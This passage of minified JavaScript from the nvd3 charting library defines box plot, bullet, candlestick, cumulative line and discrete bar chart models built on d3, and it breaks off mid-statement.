m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},id:{get:function(){return l},set:function(a){l=a}},margin:{get:function(){return i},set:function(a){i.top=void 0!==a.top?a.top:i.top,i.right=void 0!==a.right?a.right:i.right,i.bottom=void 0!==a.bottom?a.bottom:i.bottom,i.left=void 0!==a.left?a.left:i.left}},color:{get:function(){return q},set:function(b){q=a.utils.getColor(b)}},duration:{get:function(){return t},set:function(a){t=a,v.reset(t)}}}),a.utils.initOptions(b),b},a.models.boxPlotChart=function(){"use strict";function b(k){return t.reset(),t.models(e),l&&t.models(f),m&&t.models(g),k.each(function(k){var p=d3.select(this);a.utils.initSVG(p);var t=(i||parseInt(p.style("width"))||960)-h.left-h.right,u=(j||parseInt(p.style("height"))||400)-h.top-h.bottom;if(b.update=function(){r.beforeUpdate(),p.transition().duration(s).call(b)},b.container=this,!(k&&k.length&&k.filter(function(a){return a.values.hasOwnProperty("Q1")&&a.values.hasOwnProperty("Q2")&&a.values.hasOwnProperty("Q3")}).length)){var v=p.selectAll(".nv-noData").data([q]);return v.enter().append("text").attr("class","nvd3 nv-noData").attr("dy","-.7em").style("text-anchor","middle"),v.attr("x",h.left+t/2).attr("y",h.top+u/2).text(function(a){return a}),b}p.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale().clamp(!0);var w=p.selectAll("g.nv-wrap.nv-boxPlotWithAxes").data([k]),x=w.enter().append("g").attr("class","nvd3 nv-wrap nv-boxPlotWithAxes").append("g"),y=x.append("defs"),z=w.select("g"); -x.append("g").attr("class","nv-x nv-axis"),x.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),x.append("g").attr("class","nv-barsWrap"),z.attr("transform","translate("+h.left+","+h.top+")"),n&&z.select(".nv-y.nv-axis").attr("transform","translate("+t+",0)"),e.width(t).height(u);var A=z.select(".nv-barsWrap").datum(k.filter(function(a){return!a.disabled}));if(A.transition().call(e),y.append("clipPath").attr("id","nv-x-label-clip-"+e.id()).append("rect"),z.select("#nv-x-label-clip-"+e.id()+" rect").attr("width",c.rangeBand()*(o?2:1)).attr("height",16).attr("x",-c.rangeBand()/(o?1:2)),l){f.scale(c).ticks(a.utils.calcTicksX(t/100,k)).tickSize(-u,0),z.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),z.select(".nv-x.nv-axis").call(f);var B=z.select(".nv-x.nv-axis").selectAll("g");o&&B.selectAll("text").attr("transform",function(a,b,c){return"translate(0,"+(c%2==0?"5":"17")+")"})}m&&(g.scale(d).ticks(Math.floor(u/36)).tickSize(-t,0),z.select(".nv-y.nv-axis").call(g)),z.select(".nv-zeroLine line").attr("x1",0).attr("x2",t).attr("y1",d(0)).attr("y2",d(0))}),t.renderEnd("nv-boxplot chart immediate"),b}var c,d,e=a.models.boxPlot(),f=a.models.axis(),g=a.models.axis(),h={top:15,right:10,bottom:50,left:60},i=null,j=null,k=a.utils.getColor(),l=!0,m=!0,n=!1,o=!1,p=a.models.tooltip(),q="No Data Available.",r=d3.dispatch("tooltipShow","tooltipHide","beforeUpdate","renderEnd"),s=250;f.orient("bottom").showMaxMin(!1).tickFormat(function(a){return a}),g.orient(n?"right":"left").tickFormat(d3.format(",.1f")),p.duration(0);var t=a.utils.renderWatch(r,s);return e.dispatch.on("elementMouseover.tooltip",function(a){p.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(a){p.data(a).hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){p.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=r,b.boxplot=e,b.xAxis=f,b.yAxis=g,b.tooltip=p,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return i},set:function(a){i=a}},height:{get:function(){return j},set:function(a){j=a}},staggerLabels:{get:function(){return o},set:function(a){o=a}},showXAxis:{get:function(){return l},set:function(a){l=a}},showYAxis:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return tooltips},set:function(a){tooltips=a}},tooltipContent:{get:function(){return p},set:function(a){p=a}},noData:{get:function(){return q},set:function(a){q=a}},margin:{get:function(){return h},set:function(a){h.top=void 0!==a.top?a.top:h.top,h.right=void 0!==a.right?a.right:h.right,h.bottom=void 0!==a.bottom?a.bottom:h.bottom,h.left=void 0!==a.left?a.left:h.left}},duration:{get:function(){return s},set:function(a){s=a,t.reset(s),e.duration(s),f.duration(s),g.duration(s)}},color:{get:function(){return k},set:function(b){k=a.utils.getColor(b),e.color(k)}},rightAlignYAxis:{get:function(){return n},set:function(a){n=a,g.orient(a?"right":"left")}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.bullet=function(){"use strict";function b(d){return d.each(function(b,d){var p=m-c.left-c.right,s=n-c.top-c.bottom;o=d3.select(this),a.utils.initSVG(o);{var t=f.call(this,b,d).slice().sort(d3.descending),u=g.call(this,b,d).slice().sort(d3.descending),v=h.call(this,b,d).slice().sort(d3.descending),w=i.call(this,b,d).slice(),x=j.call(this,b,d).slice(),y=k.call(this,b,d).slice(),z=d3.scale.linear().domain(d3.extent(d3.merge([l,t]))).range(e?[p,0]:[0,p]);this.__chart__||d3.scale.linear().domain([0,1/0]).range(z.range())}this.__chart__=z;var A=d3.min(t),B=d3.max(t),C=t[1],D=o.selectAll("g.nv-wrap.nv-bullet").data([b]),E=D.enter().append("g").attr("class","nvd3 nv-wrap nv-bullet"),F=E.append("g"),G=D.select("g");F.append("rect").attr("class","nv-range nv-rangeMax"),F.append("rect").attr("class","nv-range nv-rangeAvg"),F.append("rect").attr("class","nv-range nv-rangeMin"),F.append("rect").attr("class","nv-measure"),D.attr("transform","translate("+c.left+","+c.top+")");var H=function(a){return Math.abs(z(a)-z(0))},I=function(a){return z(0>a?a:0)};G.select("rect.nv-rangeMax").attr("height",s).attr("width",H(B>0?B:A)).attr("x",I(B>0?B:A)).datum(B>0?B:A),G.select("rect.nv-rangeAvg").attr("height",s).attr("width",H(C)).attr("x",I(C)).datum(C),G.select("rect.nv-rangeMin").attr("height",s).attr("width",H(B)).attr("x",I(B)).attr("width",H(B>0?A:B)).attr("x",I(B>0?A:B)).datum(B>0?A:B),G.select("rect.nv-measure").style("fill",q).attr("height",s/3).attr("y",s/3).attr("width",0>v?z(0)-z(v[0]):z(v[0])-z(0)).attr("x",I(v)).on("mouseover",function(){r.elementMouseover({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})}).on("mousemove",function(){r.elementMousemove({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})}).on("mouseout",function(){r.elementMouseout({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})});var J=s/6,K=u.map(function(a,b){return{value:a,label:x[b]}});F.selectAll("path.nv-markerTriangle").data(K).enter().append("path").attr("class","nv-markerTriangle").attr("transform",function(a){return"translate("+z(a.value)+","+s/2+")"}).attr("d","M0,"+J+"L"+J+","+-J+" "+-J+","+-J+"Z").on("mouseover",function(a){r.elementMouseover({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill"),pos:[z(a.value),s/2]})}).on("mousemove",function(a){r.elementMousemove({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill")})}).on("mouseout",function(a){r.elementMouseout({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill")})}),D.selectAll(".nv-range").on("mouseover",function(a,b){var c=w[b]||(b?1==b?"Mean":"Minimum":"Maximum");r.elementMouseover({value:a,label:c,color:d3.select(this).style("fill")})}).on("mousemove",function(){r.elementMousemove({value:v[0],label:y[0]||"Previous",color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){var c=w[b]||(b?1==b?"Mean":"Minimum":"Maximum");r.elementMouseout({value:a,label:c,color:d3.select(this).style("fill")})})}),b}var c={top:0,right:0,bottom:0,left:0},d="left",e=!1,f=function(a){return a.ranges},g=function(a){return a.markers?a.markers:[0]},h=function(a){return a.measures},i=function(a){return a.rangeLabels?a.rangeLabels:[]},j=function(a){return a.markerLabels?a.markerLabels:[]},k=function(a){return a.measureLabels?a.measureLabels:[]},l=[0],m=380,n=30,o=null,p=null,q=a.utils.getColor(["#1f77b4"]),r=d3.dispatch("elementMouseover","elementMouseout","elementMousemove");return b.dispatch=r,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{ranges:{get:function(){return f},set:function(a){f=a}},markers:{get:function(){return g},set:function(a){g=a}},measures:{get:function(){return h},set:function(a){h=a}},forceX:{get:function(){return l},set:function(a){l=a}},width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},tickFormat:{get:function(){return p},set:function(a){p=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},orient:{get:function(){return d},set:function(a){d=a,e="right"==d||"bottom"==d}},color:{get:function(){return q},set:function(b){q=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.bulletChart=function(){"use strict";function b(d){return d.each(function(e,o){var p=d3.select(this);a.utils.initSVG(p);var q=a.utils.availableWidth(k,p,g),r=l-g.top-g.bottom;if(b.update=function(){b(d)},b.container=this,!e||!h.call(this,e,o))return a.utils.noData(b,p),b;p.selectAll(".nv-noData").remove();var s=h.call(this,e,o).slice().sort(d3.descending),t=i.call(this,e,o).slice().sort(d3.descending),u=j.call(this,e,o).slice().sort(d3.descending),v=p.selectAll("g.nv-wrap.nv-bulletChart").data([e]),w=v.enter().append("g").attr("class","nvd3 nv-wrap nv-bulletChart"),x=w.append("g"),y=v.select("g");x.append("g").attr("class","nv-bulletWrap"),x.append("g").attr("class","nv-titles"),v.attr("transform","translate("+g.left+","+g.top+")");var z=d3.scale.linear().domain([0,Math.max(s[0],t[0],u[0])]).range(f?[q,0]:[0,q]),A=this.__chart__||d3.scale.linear().domain([0,1/0]).range(z.range());this.__chart__=z;var B=x.select(".nv-titles").append("g").attr("text-anchor","end").attr("transform","translate(-6,"+(l-g.top-g.bottom)/2+")");B.append("text").attr("class","nv-title").text(function(a){return a.title}),B.append("text").attr("class","nv-subtitle").attr("dy","1em").text(function(a){return a.subtitle}),c.width(q).height(r);var C=y.select(".nv-bulletWrap");d3.transition(C).call(c);var D=m||z.tickFormat(q/100),E=y.selectAll("g.nv-tick").data(z.ticks(n?n:q/50),function(a){return this.textContent||D(a)}),F=E.enter().append("g").attr("class","nv-tick").attr("transform",function(a){return"translate("+A(a)+",0)"}).style("opacity",1e-6);F.append("line").attr("y1",r).attr("y2",7*r/6),F.append("text").attr("text-anchor","middle").attr("dy","1em").attr("y",7*r/6).text(D);var G=d3.transition(E).attr("transform",function(a){return"translate("+z(a)+",0)"}).style("opacity",1);G.select("line").attr("y1",r).attr("y2",7*r/6),G.select("text").attr("y",7*r/6),d3.transition(E.exit()).attr("transform",function(a){return"translate("+z(a)+",0)"}).style("opacity",1e-6).remove()}),d3.timer.flush(),b}var c=a.models.bullet(),d=a.models.tooltip(),e="left",f=!1,g={top:5,right:40,bottom:20,left:120},h=function(a){return a.ranges},i=function(a){return a.markers?a.markers:[0]},j=function(a){return a.measures},k=null,l=55,m=null,n=null,o=null,p=d3.dispatch("tooltipShow","tooltipHide");return d.duration(0).headerEnabled(!1),c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:a.label,value:a.value,color:a.color},d.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){d.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){d.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.bullet=c,b.dispatch=p,b.tooltip=d,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{ranges:{get:function(){return h},set:function(a){h=a}},markers:{get:function(){return i},set:function(a){i=a}},measures:{get:function(){return j},set:function(a){j=a}},width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},tickFormat:{get:function(){return m},set:function(a){m=a}},ticks:{get:function(){return n},set:function(a){n=a}},noData:{get:function(){return o},set:function(a){o=a}},tooltips:{get:function(){return d.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),d.enabled(!!b)}},tooltipContent:{get:function(){return d.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),d.contentGenerator(b)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},orient:{get:function(){return e},set:function(a){e=a,f="right"==e||"bottom"==e}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.candlestickBar=function(){"use strict";function b(x){return x.each(function(b){c=d3.select(this);var x=a.utils.availableWidth(i,c,h),y=a.utils.availableHeight(j,c,h);a.utils.initSVG(c);var A=x/b[0].values.length*.45;l.domain(d||d3.extent(b[0].values.map(n).concat(t))),l.range(v?f||[.5*x/b[0].values.length,x*(b[0].values.length-.5)/b[0].values.length]:f||[5+A/2,x-A/2-5]),m.domain(e||[d3.min(b[0].values.map(s).concat(u)),d3.max(b[0].values.map(r).concat(u))]).range(g||[y,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var B=d3.select(this).selectAll("g.nv-wrap.nv-candlestickBar").data([b[0].values]),C=B.enter().append("g").attr("class","nvd3 nv-wrap nv-candlestickBar"),D=C.append("defs"),E=C.append("g"),F=B.select("g");E.append("g").attr("class","nv-ticks"),B.attr("transform","translate("+h.left+","+h.top+")"),c.on("click",function(a,b){z.chartClick({data:a,index:b,pos:d3.event,id:k})}),D.append("clipPath").attr("id","nv-chart-clip-path-"+k).append("rect"),B.select("#nv-chart-clip-path-"+k+" rect").attr("width",x).attr("height",y),F.attr("clip-path",w?"url(#nv-chart-clip-path-"+k+")":"");var G=B.select(".nv-ticks").selectAll(".nv-tick").data(function(a){return a});G.exit().remove();{var H=G.enter().append("g").attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b});H.append("line").attr("class","nv-candlestick-lines").attr("transform",function(a,b){return"translate("+l(n(a,b))+",0)"}).attr("x1",0).attr("y1",function(a,b){return m(r(a,b))}).attr("x2",0).attr("y2",function(a,b){return m(s(a,b))}),H.append("rect").attr("class","nv-candlestick-rects nv-bars").attr("transform",function(a,b){return"translate("+(l(n(a,b))-A/2)+","+(m(o(a,b))-(p(a,b)>q(a,b)?m(q(a,b))-m(p(a,b)):0))+")"}).attr("x",0).attr("y",0).attr("width",A).attr("height",function(a,b){var c=p(a,b),d=q(a,b);return c>d?m(d)-m(c):m(c)-m(d)})}c.selectAll(".nv-candlestick-lines").transition().attr("transform",function(a,b){return"translate("+l(n(a,b))+",0)"}).attr("x1",0).attr("y1",function(a,b){return m(r(a,b))}).attr("x2",0).attr("y2",function(a,b){return m(s(a,b))}),c.selectAll(".nv-candlestick-rects").transition().attr("transform",function(a,b){return"translate("+(l(n(a,b))-A/2)+","+(m(o(a,b))-(p(a,b)>q(a,b)?m(q(a,b))-m(p(a,b)):0))+")"}).attr("x",0).attr("y",0).attr("width",A).attr("height",function(a,b){var c=p(a,b),d=q(a,b);return c>d?m(d)-m(c):m(c)-m(d)})}),b}var c,d,e,f,g,h={top:0,right:0,bottom:0,left:0},i=null,j=null,k=Math.floor(1e4*Math.random()),l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=function(a){return a.open},q=function(a){return a.close},r=function(a){return a.high},s=function(a){return a.low},t=[],u=[],v=!1,w=!0,x=a.utils.defaultColor(),y=!1,z=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd","chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove");return b.highlightPoint=function(a,d){b.clearHighlights(),c.select(".nv-candlestickBar .nv-tick-0-"+a).classed("hover",d)},b.clearHighlights=function(){c.select(".nv-candlestickBar .nv-tick.hover").classed("hover",!1)},b.dispatch=z,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return i},set:function(a){i=a}},height:{get:function(){return j},set:function(a){j=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},padData:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return w},set:function(a){w=a}},id:{get:function(){return k},set:function(a){k=a}},interactive:{get:function(){return y},set:function(a){y=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},open:{get:function(){return p()},set:function(a){p=a}},close:{get:function(){return q()},set:function(a){q=a}},high:{get:function(){return r},set:function(a){r=a}},low:{get:function(){return s},set:function(a){s=a}},margin:{get:function(){return h},set:function(a){h.top=void 0!=a.top?a.top:h.top,h.right=void 0!=a.right?a.right:h.right,h.bottom=void 0!=a.bottom?a.bottom:h.bottom,h.left=void 0!=a.left?a.left:h.left}},color:{get:function(){return x},set:function(b){x=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.cumulativeLineChart=function(){"use strict";function b(l){return H.reset(),H.models(f),r&&H.models(g),s&&H.models(h),l.each(function(l){function A(){d3.select(b.container).style("cursor","ew-resize")}function E(){G.x=d3.event.x,G.i=Math.round(F.invert(G.x)),K()}function H(){d3.select(b.container).style("cursor","auto"),y.index=G.i,C.stateChange(y)}function K(){bb.data([G]);var a=b.duration();b.duration(0),b.update(),b.duration(a)}var L=d3.select(this);a.utils.initSVG(L),L.classed("nv-chart-"+x,!0);var M=this,N=a.utils.availableWidth(o,L,m),O=a.utils.availableHeight(p,L,m);if(b.update=function(){0===D?L.call(b):L.transition().duration(D).call(b)},b.container=this,y.setter(J(l),b.update).getter(I(l)).update(),y.disabled=l.map(function(a){return!!a.disabled}),!z){var P;z={};for(P in y)z[P]=y[P]instanceof Array?y[P].slice(0):y[P]}var Q=d3.behavior.drag().on("dragstart",A).on("drag",E).on("dragend",H);if(!(l&&l.length&&l.filter(function(a){return a.values.length}).length))return a.utils.noData(b,L),b;if(L.selectAll(".nv-noData").remove(),d=f.xScale(),e=f.yScale(),w)f.yDomain(null);else{var R=l.filter(function(a){return!a.disabled}).map(function(a){var b=d3.extent(a.values,f.y());return b[0]<-.95&&(b[0]=-.95),[(b[0]-b[1])/(1+b[1]),(b[1]-b[0])/(1+b[0])]}),S=[d3.min(R,function(a){return a[0]}),d3.max(R,function(a){return a[1]})];f.yDomain(S)}F.domain([0,l[0].values.length-1]).range([0,N]).clamp(!0);var l=c(G.i,l),T=v?"none":"all",U=L.selectAll("g.nv-wrap.nv-cumulativeLine").data([l]),V=U.enter().append("g").attr("class","nvd3 nv-wrap nv-cumulativeLine").append("g"),W=U.select("g");if(V.append("g").attr("class","nv-interactive"),V.append("g").attr("class","nv-x nv-axis").style("pointer-events","none"),V.append("g").attr("class","nv-y nv-axis"),V.append("g").attr("class","nv-background"),V.append("g").attr("class","nv-linesWrap").style("pointer-events",T),V.append("g").attr("class","nv-avgLinesWrap").style("pointer-events","none"),V.append("g").attr("class","nv-legendWrap"),V.append("g").attr("class","nv-controlsWrap"),q&&(i.width(N),W.select(".nv-legendWrap").datum(l).call(i),m.top!=i.height()&&(m.top=i.height(),O=a.utils.availableHeight(p,L,m)),W.select(".nv-legendWrap").attr("transform","translate(0,"+-m.top+")")),u){var X=[{key:"Re-scale y-axis",disabled:!w}];j.width(140).color(["#444","#444","#444"]).rightAlign(!1).margin({top:5,right:0,bottom:5,left:20}),W.select(".nv-controlsWrap").datum(X).attr("transform","translate(0,"+-m.top+")").call(j)}U.attr("transform","translate("+m.left+","+m.top+")"),t&&W.select(".nv-y.nv-axis").attr("transform","translate("+N+",0)");var Y=l.filter(function(a){return a.tempDisabled});U.select(".tempDisabled").remove(),Y.length&&U.append("text").attr("class","tempDisabled").attr("x",N/2).attr("y","-.71em").style("text-anchor","end").text(Y.map(function(a){return a.key}).join(", ")+" values cannot be calculated for this time period."),v&&(k.width(N).height(O).margin({left:m.left,top:m.top}).svgContainer(L).xScale(d),U.select(".nv-interactive").call(k)),V.select(".nv-background").append("rect"),W.select(".nv-background rect").attr("width",N).attr("height",O),f.y(function(a){return a.display.y}).width(N).height(O).color(l.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!l[b].disabled&&!l[b].tempDisabled}));var Z=W.select(".nv-linesWrap").datum(l.filter(function(a){return!a.disabled&&!a.tempDisabled}));Z.call(f),l.forEach(function(a,b){a.seriesIndex=b});var $=l.filter(function(a){return!a.disabled&&!!B(a)}),_=W.select(".nv-avgLinesWrap").selectAll("line").data($,function(a){return a.key}),ab=function(a){var b=e(B(a));return 0>b?0:b>O?O:b};_.enter().append("line").style("stroke-width",2).style("stroke-dasharray","10,10").style("stroke",function(a){return f.color()(a,a.seriesIndex)}).attr("x1",0).attr("x2",N).attr("y1",ab).attr("y2",ab),_.style("stroke-opacity",function(a){var b=e(B(a));return 0>b||b>O?0:1}).attr("x1",0).attr("x2",N).attr("y1",ab).attr("y2",ab),_.exit().remove();var bb=Z.selectAll(".nv-indexLine").data([G]);bb.enter().append("rect").attr("class","nv-indexLine").attr("width",3).attr("x",-2).attr("fill","red").attr("fill-opacity",.5).style("pointer-events","all").call(Q),bb.attr("transform",function(a){return"translate("+F(a.i)+",0)"}).attr("height",O),r&&(g.scale(d)._ticks(a.utils.calcTicksX(N/70,l)).tickSize(-O,0),W.select(".nv-x.nv-axis").attr("transform","translate(0,"+e.range()[0]+")"),W.select(".nv-x.nv-axis").call(g)),s&&(h.scale(e)._ticks(a.utils.calcTicksY(O/36,l)).tickSize(-N,0),W.select(".nv-y.nv-axis").call(h)),W.select(".nv-background rect").on("click",function(){G.x=d3.mouse(this)[0],G.i=Math.round(F.invert(G.x)),y.index=G.i,C.stateChange(y),K()}),f.dispatch.on("elementClick",function(a){G.i=a.pointIndex,G.x=F(G.i),y.index=G.i,C.stateChange(y),K()}),j.dispatch.on("legendClick",function(a){a.disabled=!a.disabled,w=!a.disabled,y.rescaleY=w,C.stateChange(y),b.update()}),i.dispatch.on("stateChange",function(a){for(var c in a)y[c]=a[c];C.stateChange(y),b.update()}),k.dispatch.on("elementMousemove",function(c){f.clearHighlights();var d,e,i,j=[];if(l.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(g,h){e=a.interactiveBisect(g.values,c.pointXValue,b.x()),f.highlightPoint(h,e,!0);var k=g.values[e];"undefined"!=typeof k&&("undefined"==typeof d&&(d=k),"undefined"==typeof i&&(i=b.xScale()(b.x()(k,e))),j.push({key:g.key,value:b.y()(k,e),color:n(g,g.seriesIndex)}))}),j.length>2){var o=b.yScale().invert(c.mouseY),p=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),q=.03*p,r=a.nearestValueIndex(j.map(function(a){return a.value}),o,q);null!==r&&(j[r].highlight=!0)}var s=g.tickFormat()(b.x()(d,e),e);k.tooltip.position({left:i+m.left,top:c.mouseY+m.top}).chartContainer(M.parentNode).valueFormatter(function(a){return h.tickFormat()(a)}).data({value:s,series:j})(),k.renderGuideLine(i)}),k.dispatch.on("elementMouseout",function(){f.clearHighlights()}),C.on("changeState",function(a){"undefined"!=typeof a.disabled&&(l.forEach(function(b,c){b.disabled=a.disabled[c]}),y.disabled=a.disabled),"undefined"!=typeof a.index&&(G.i=a.index,G.x=F(G.i),y.index=a.index,bb.data([G])),"undefined"!=typeof a.rescaleY&&(w=a.rescaleY),b.update()})}),H.renderEnd("cumulativeLineChart immediate"),b}function c(a,b){return K||(K=f.y()),b.map(function(b){if(!b.values)return b;var c=b.values[a];if(null==c)return b;var d=K(c,a);return-.95>d&&!E?(b.tempDisabled=!0,b):(b.tempDisabled=!1,b.values=b.values.map(function(a,b){return a.display={y:(K(a,b)-d)/(1+d)},a}),b)})}var d,e,f=a.models.line(),g=a.models.axis(),h=a.models.axis(),i=a.models.legend(),j=a.models.legend(),k=a.interactiveGuideline(),l=a.models.tooltip(),m={top:30,right:30,bottom:50,left:60},n=a.utils.defaultColor(),o=null,p=null,q=!0,r=!0,s=!0,t=!1,u=!0,v=!1,w=!0,x=f.id(),y=a.utils.state(),z=null,A=null,B=function(a){return a.average},C=d3.dispatch("stateChange","changeState","renderEnd"),D=250,E=!1;y.index=0,y.rescaleY=w,g.orient("bottom").tickPadding(7),h.orient(t?"right":"left"),l.valueFormatter(function(a,b){return h.tickFormat()(a,b)}).headerFormatter(function(a,b){return g.tickFormat()(a,b)}),j.updateState(!1);var F=d3.scale.linear(),G={i:0,x:0},H=a.utils.renderWatch(C,D),I=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),index:G.i,rescaleY:w}}},J=function(a){return function(b){void 0!==b.index&&(G.i=b.index),void 0!==b.rescaleY&&(w=b.rescaleY),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};f.dispatch.on("elementMouseover.tooltip",function(a){var c={x:b.x()(a.point),y:b.y()(a.point),color:a.point.color};a.point=c,l.data(a).position(a.pos).hidden(!1)}),f.dispatch.on("elementMouseout.tooltip",function(){l.hidden(!0)});var K=null;return b.dispatch=C,b.lines=f,b.legend=i,b.controls=j,b.xAxis=g,b.yAxis=h,b.interactiveLayer=k,b.state=y,b.tooltip=l,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return o},set:function(a){o=a}},height:{get:function(){return p},set:function(a){p=a}},rescaleY:{get:function(){return w},set:function(a){w=a}},showControls:{get:function(){return u},set:function(a){u=a}},showLegend:{get:function(){return q},set:function(a){q=a}},average:{get:function(){return B},set:function(a){B=a}},defaultState:{get:function(){return z},set:function(a){z=a}},noData:{get:function(){return A},set:function(a){A=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},noErrorCheck:{get:function(){return E},set:function(a){E=a}},tooltips:{get:function(){return l.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),l.enabled(!!b)}},tooltipContent:{get:function(){return l.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),l.contentGenerator(b)}},margin:{get:function(){return m},set:function(a){m.top=void 0!==a.top?a.top:m.top,m.right=void 0!==a.right?a.right:m.right,m.bottom=void 0!==a.bottom?a.bottom:m.bottom,m.left=void 0!==a.left?a.left:m.left}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),i.color(n)}},useInteractiveGuideline:{get:function(){return v},set:function(a){v=a,a===!0&&(b.interactive(!1),b.useVoronoi(!1))}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,h.orient(a?"right":"left")}},duration:{get:function(){return D},set:function(a){D=a,f.duration(D),g.duration(D),h.duration(D),H.reset(D)}}}),a.utils.inheritOptions(b,f),a.utils.initOptions(b),b},a.models.discreteBar=function(){"use strict";function b(m){return y.reset(),m.each(function(b){var m=k-j.left-j.right,x=l-j.top-j.bottom;c=d3.select(this),a.utils.initSVG(c),b.forEach(function(a,b){a.values.forEach(function(a){a.series=b})});var z=d&&e?[]:b.map(function(a){return a.values.map(function(a,b){return{x:p(a,b),y:q(a,b),y0:a.y0}})});n.domain(d||d3.merge(z).map(function(a){return a.x})).rangeBands(f||[0,m],.1),o.domain(e||d3.extent(d3.merge(z).map(function(a){return a.y}).concat(r))),o.range(t?g||[x-(o.domain()[0]<0?12:0),o.domain()[1]>0?12:0]:g||[x,0]),h=h||n,i=i||o.copy().range([o(0),o(0)]);{var A=c.selectAll("g.nv-wrap.nv-discretebar").data([b]),B=A.enter().append("g").attr("class","nvd3 nv-wrap nv-discretebar"),C=B.append("g");A.select("g")}C.append("g").attr("class","nv-groups"),A.attr("transform","translate("+j.left+","+j.top+")");var D=A.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});D.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),D.exit().watchTransition(y,"discreteBar: exit groups").style("stroke-opacity",1e-6).style("fill-opacity",1e-6).remove(),D.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}),D.watchTransition(y,"discreteBar: groups").style("stroke-opacity",1).style("fill-opacity",.75);var E=D.selectAll("g.nv-bar").data(function(a){return a.values});E.exit().remove();var F=E.enter().append("g").attr("transform",function(a,b){return"translate("+(n(p(a,b))+.05*n.rangeBand())+", 